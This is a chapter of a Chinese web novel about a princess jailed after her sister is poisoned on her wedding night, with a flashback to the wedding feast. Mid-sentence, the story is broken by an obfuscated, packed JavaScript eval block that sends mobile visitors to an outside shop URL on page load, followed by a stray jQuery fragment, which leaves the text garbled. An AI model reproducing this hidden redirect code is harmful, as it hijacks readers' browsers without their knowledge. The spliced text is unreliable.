1. 画眉深浅(一)

作品:《吾不见书

    临绍十一年春天,余寒犹厉,盛京城里不声不响冻死了许多人。


    然京兆府府尹暂且没空处理这些事情,大理寺与六部的人也皆忙碌,为着一桩已广而传之的皇家秘事。


    春三月,长公主李玥与中书令之子程著大婚。原本普天同庆之事,长公主却被意外毒杀于夫家新房。


    稀奇的是,凶手也就在新房中被发现。不是别人,正是宫中少有听闻的十四公主——李淑。


    李淑只觉倒霉。


    因着她皇女的身份,大理寺暂且将她关在诏狱之中。然则毕竟住惯了宫殿——虽亦近似冷宫,但也比这室徒四壁好上千百倍。


    李淑自叹口气,抱膝缩在角落榻上。今年的倒春寒来得厉害,竟也像是预兆一般,败了一场大婚,将红事变白事。


    她抬头看了看窗,外面天光尚明,只是因着她在这狱中的无措,白日比黑夜更难耐。


    为何她会昏倒在玥姐姐新房之中?这事无论她再如何想,也实在想不出个头绪。本意为尽姐妹情谊,想亲自祝福她,谁知摊上这等百口莫辩的祸事。


    等她一眼醒来,房中已变换了天地,乱作一团。驸马抱着满身血迹的李玥失了魂魄,嬷嬷丫鬟皆在一边哭喊。


    少时,她自己也被大理寺的人带走,只说她是最后见着李玥的人,嫌疑自然落在她头上。


    正自回想着,窗外呼呼风声打断了她的思绪。她不由得又抱紧自己几分。


    “咚咚”,门口忽地传来扣门声。李淑循声望去,心中有些疑惑。


    大理寺的人来了几趟,倒是从未有过如此礼节。


    李淑没有答话,只听得钥匙开锁的叩哒声,然后门被吱呀一声轻轻推开。


    迎面而来的,正是她在程府见过一面的沈嵇,沈少傅。


    **


    宾客如流,哗声载道。


    大红灯笼挂了程府满檐,红绸连结,一派喜庆。


    彼时,李淑看着院里热闹,手拿着一只青果独自立在廊檐下。她似一只小兔嚼着腮帮,一手倚在廊柱边。


    “让让,让让。”旁边挤过几个端茶递水的仆役,看李淑碍路忍不住嫌弃道。


    李淑踉跄一步,险些跌跤。手里的青果骨碌碌往前滚,尚未几步便被人踩在脚下,碾得稀烂。


    她勉强站稳,顺着被踩烂的青果往上看。汁水溅到新亮的乌皮靴上,锦绣滚边的襕袍华贵,腰间一条银銙躞蹀带,吊着一个锦丝囊。这人不是二皇子李蒿是谁。


    “你怎么这样出来。”李蒿抱臂看她,撇了撇嘴。


    闻言,李淑低头看了看自身。


    她个子纤小,头上不过随意梳了个发髻。上身着绯红衫子搭绿萝裙,浅紫帔子上绣云纹,装饰简单,却也算是她较为华贵的一套。


    但若再看周围贵女,谁家不是云锦堆花,鲜妍明媚。身边多少跟着个个丫鬟,也只李淑独身一人。


    李淑面色讪讪,有些无奈。正欲辩说些什么,身子却忽的一僵——


    一只大手莫名从身后探来,把住她的后腰轻轻捏着。伴随那人的动作,锦绣华衣蹭上了她的身子,嘻嘻笑声渗进耳洞,将她整个人冻住。


    李淑脑子一片空白,硬着头皮去看旁边那人,正好对上一张眯眼笑呵的肥头大脸。


    胸口泛上恶心,仿佛看见一条毒蛇盘成一团,正对着她吐信子。


    “怎的了……”二皇子李蒿凑到她面前,对她的处境视若无睹,笑嘻嘻地故意问她。


    李淑故作病弱状,扶了扶额,“二哥,我有些难受……”


    谁知旁边那人见李淑怜人模样,欺凌之意更甚,近着又贴紧了她。他一口热气呼在李淑面上,故作姿态地问着李蒿:“二皇子,不如让我带十四公主去偏房休息……”


    李蒿轻拍手,勾唇笑道:


    “你这人倒是机灵……”他话里带着随意,李淑心冷,虽往常被李蒿欺负惯了,可连带着外人,这却是第一次。


    那人作势要扶李淑,李淑倒也把戏做足,喉头一呕,哕出一些秽物。


    口涎掺着被嚼烂的青果,全然吐在了那肥人衣襟上,甚至连带着溅到李蒿。


    李蒿被吓得往后跳,气急骂着李淑:“你这蠢物,倒真是没一点儿命活!”


    那肥人一时间也尴尬,下意识急得要甩开李淑,又顾着面子犹犹豫豫。见李蒿狠骂,忙不迭丢开李淑。


    李淑本就气弱,此番没倚撑被狠力一甩,身子就轻飘飘摔向一边。那肥人力气不小,李淑揪起一颗心,料是一阵痛。只毕竟是脱离了糟恶处境,这法子也见效快。


    不想,预料的摔痛未至,她人倒是跌进了一个清松木香的柔软怀里。


    李淑对这意外脑子还有些懵,人已是被扶起站稳。她望向身边这人——眉眼温润,该有的锋利却也不减一分。


    只是她并不认识他。


    “你是何人?”李蒿面色不善,挑眉看他。


    “二皇子,”肥人倒是认得此人,弱弱道,“这位是太子少傅,沈嵇沈大人。”


    “不过是个少傅。”李蒿不屑,冷笑一声。


    “见过二皇子,”沈嵇话语不卑不亢,甚至含着几分笑意,“我也一并在学宫授课,只是才进宫不久,还不曾见识几位皇子。”


    闻此言,李蒿的气势收敛一些。毕竟学宫终究是压他一头。


    他还要想法子较劲,李淑因着方才的不适咳了咳,然后忙指着李蒿的衣衫道:


    “阿淑对不住二哥,弄脏了你的新衣。”


    李蒿看向李淑所指,那衣料珍贵,经不住一点水。方才溅上的口沫此刻已留了痕迹,李蒿恨得牙痒痒,也顾不上这边,忙去寻下人换衣裳。


    暂时脱离困境,李淑叹一口气。胸中还有些难受,正欲寻水喝,沈嵇已经递了过来。


    “多谢沈大人。”李淑略有窘迫,毕竟当众哕物实非淑女所为。


    “这里人多气闷,空气确也污浊。”沈嵇倒是贴心为她解释,“后边人少些,你且散散。”说着,有意引着李淑往后院走。


    李淑见人面善,一时放松了心。还想着说些什么活络气氛,刚拐过穿院角门,沈嵇却忽地停了脚步,她便径直撞到人身上。


    沈嵇身形挺拔,宛如劲松,背后一撞实比刚才那一怀抱硬实,猛地往后跌坐,幸而沈嵇眼快手快,一把拉住了她。


    “多、多、多谢。”脸上窘迫,李淑连忙放开他的手,沈嵇却是一错不错地望着她。


    李淑脸上发烫,偏过头避开他的眼神。


    哪有一见面便撞人两回的理儿。


    “对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477707|141946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不住——”


    “你……是不记得我了——”他忽然的问话截断她的歉意。


    四下无人,一遭皆静。他清朗如水的声音,如洪钟一般意外,震得李淑一时失神。


    她睁大了一双杏眼望他,眼里满是迷惑。


    沈嵇渐渐靠近她,李淑便不由得后退,一进一退间,她已靠墙再无可退。


    他忽地停了脚步,只将人圈在他与墙之间。


    “沈、沈大人……”李淑矮沈嵇一个头,此时只能仰望他。光从墙边斜映,正好落在他脸上,俊秀的五官好似玉石一般清透。


    沈嵇刻意与她保持一臂距离,只以一双清明的眼望她。


    那眼神如月夜下泛着粼光的湖面,静谧又深沉。


    看她眼里的陌生,沈嵇心中自有了答案。他摇摇头轻笑,甚是惋惜道:“是我的错。”


    “我离开京城太久了,不曾给你承诺中的庇护,也不曾来往书信挂念问候,如何指望你还能记得我。”


    “什、什么意思?”李淑实在不解。


    “也罢也罢,”沈嵇忽地又转过身来,嘴唇微勾:“往者不可谏,来者犹可追。”


    “现在不是重提旧事的好时机,”沈嵇敛了神色,转了话头,“你从这里穿过回廊——”他手指了方向,“经过前面小院从侧门出去。”


    “有人在侧门等你。”他继续道。


    “为何……”


    “你到了便知。”沈嵇不等她问完便答道。


    李淑微微蹙眉,然因着沈嵇这一副好面皮,她无端生出几分信赖。


    她抿了抿嘴,望他一眼,按照他的话走。


    微风轻拂,临走时李淑又嗅到淡淡的清松木香。


    这香少见,然她意外地并不觉陌生。


    再然后,便是她噩梦的开始。


    尤记得她推开长公主婚房之时,那房中的静穆——


    朱红帷幕用铜鱼挂钩勾住,挡住李玥半个身形。床两侧悬着金玉流苏,一只福袋挂在床头,身后鸳鸯喜被重叠。屋内处处贴喜字,挂红绸,灯影憧憧,红烛高燃,一派祥和。


    李淑拢了房门,轻着脚步往里走。


    新婚之喜,她亦想亲口祝福李玥。


    房中铜兽香炉燃着旖旎熏香,本该是助新人一夜美梦的物件,此刻却迷惑着李淑的心神。


    李淑微微蹙眉,因着自己一进屋中莫名上来的疲倦,心中有些不安。步子越发不稳,李淑转头正想唤人——


    床边传来动静,是什么东西掉落的声音。


    李淑分了神,呼之欲出的话又被她咽下喉咙。


    待她走近李玥,李淑整个人却猛地失了力气摔坐在地。


    “唔……”


    床榻边掉落的是长公主掩面的金丝绣扇,鸳鸯绣面被红色血迹沾染了一大片。


    李淑一时懵住,再抬眼,只见长公主姿容雍容华贵,面目精致。阖眼的她显出一种神妙,甚至脸上仍带着笑。若没有唇边的那一抹血……


    血还未干,顺着她的唇角淌下来,一滴滴渗进大红色喜服里,洇湿一片深色。


    李淑眼前愈发模糊,整个人终于软了身子。


    “为……为什么……”声如蚊呐,李淑再撑不住眼皮,微弱的叫喊声最终消弭于这满室喜庆之中。